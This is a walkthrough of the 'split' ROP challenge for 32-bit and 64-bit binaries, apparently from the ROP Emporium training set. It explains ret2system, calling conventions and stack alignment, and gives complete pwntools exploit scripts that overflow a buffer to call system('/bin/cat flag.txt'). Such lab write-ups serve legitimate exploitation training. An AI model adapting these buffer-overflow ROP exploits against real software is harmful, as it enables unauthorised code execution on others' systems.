split

split 32bit

Solution

Examine the strings contained in the binary:

The idea is using ret2system to call system("/bin/cat flag.txt"). For 32-bit binaries, the arguments for a function call is stored on the stack. Pictorially, the stack frame looks like the following:

buffer
function => EIP
return_address
arg1
arg2
arg3
...

In our case, we should set up the stack into the following state:

b"A" * offset => junk
system => Overwrite EIP with the address of system()
exit => This is called when system() returns (return address)
/bin/cat flag.txt => This is the argument for system()

Note that we don't really know the address of exit(). It is okay to use b"B" * 4 to replace exit() for this challenge. However, this dummy padding would destory a process in real-world scenarios, so make sure you always use exit() as the return address for system().

Exploit

#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="i386", os="linux")
elf = ELF("split32", checksec=False)

#--------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.eip)

log.info(f"offset: {offset}")

#--------ret2system--------#

system = elf.plt["system"]
usefulString = 0x0804a030

payload = flat(
    b"A" * offset,
    system, # call system("/bin/cat flag.txt")
    b"B" * 4, # return address for system
    usefulString, # arg for system
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()

split 64bit

Solution

For 64-bit binaries, the calling convention is completely different. Instead of storing arguments on the stack, 64-bit binaries store the first 6 arguments in registers, in the following order:

  1. arg1 => RDI

  2. arg2 => RSI

  3. arg3 => RDX

  4. arg4 => RCX (user space) or R10 (kernel space)

  5. arg5 => R8

  6. arg6 => R9

If there are more arguments, those extra arguments will be stored on the stack. However, it is rare to see function calls with more than 6 arguments.

As a result, now we need to store the address of "/bin/cat flag.txt" in RDI before calling system(). The trick is to use a pop rdi ; ret gadget. This gadget can be easily found with ROPgadget if it exists in the binary.

Another tricky thing is stack alignment. Starting from Ubuntu 18.04 and onward, the stack is aligned in 16-byte boundaries. Without this alignment, we would call:

pop_rdi, arg,
system

With this alignment, we should call:

pop_rdi, arg,
ret, system

The ret gadget here is a padding that makes sure the stack is properly aligned. Keep this in mind, it will save you a lot of time from debugging.

Exploit

#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("split", checksec=False)

#--------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.read(core.rsp, 4))

log.info(f"offset: {offset}")

#--------ret2system--------#

# ROPgadget --binary split --only "pop|ret" | grep rdi
pop_rdi = 0x4007c3
usefulString = 0x601060
# ROPgadget --binary split --only "ret"
ret = 0x40053e
system = elf.plt["system"]

payload = flat(
    b"A" * offset,
    pop_rdi, usefulString,
    ret, system,
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()

Last updated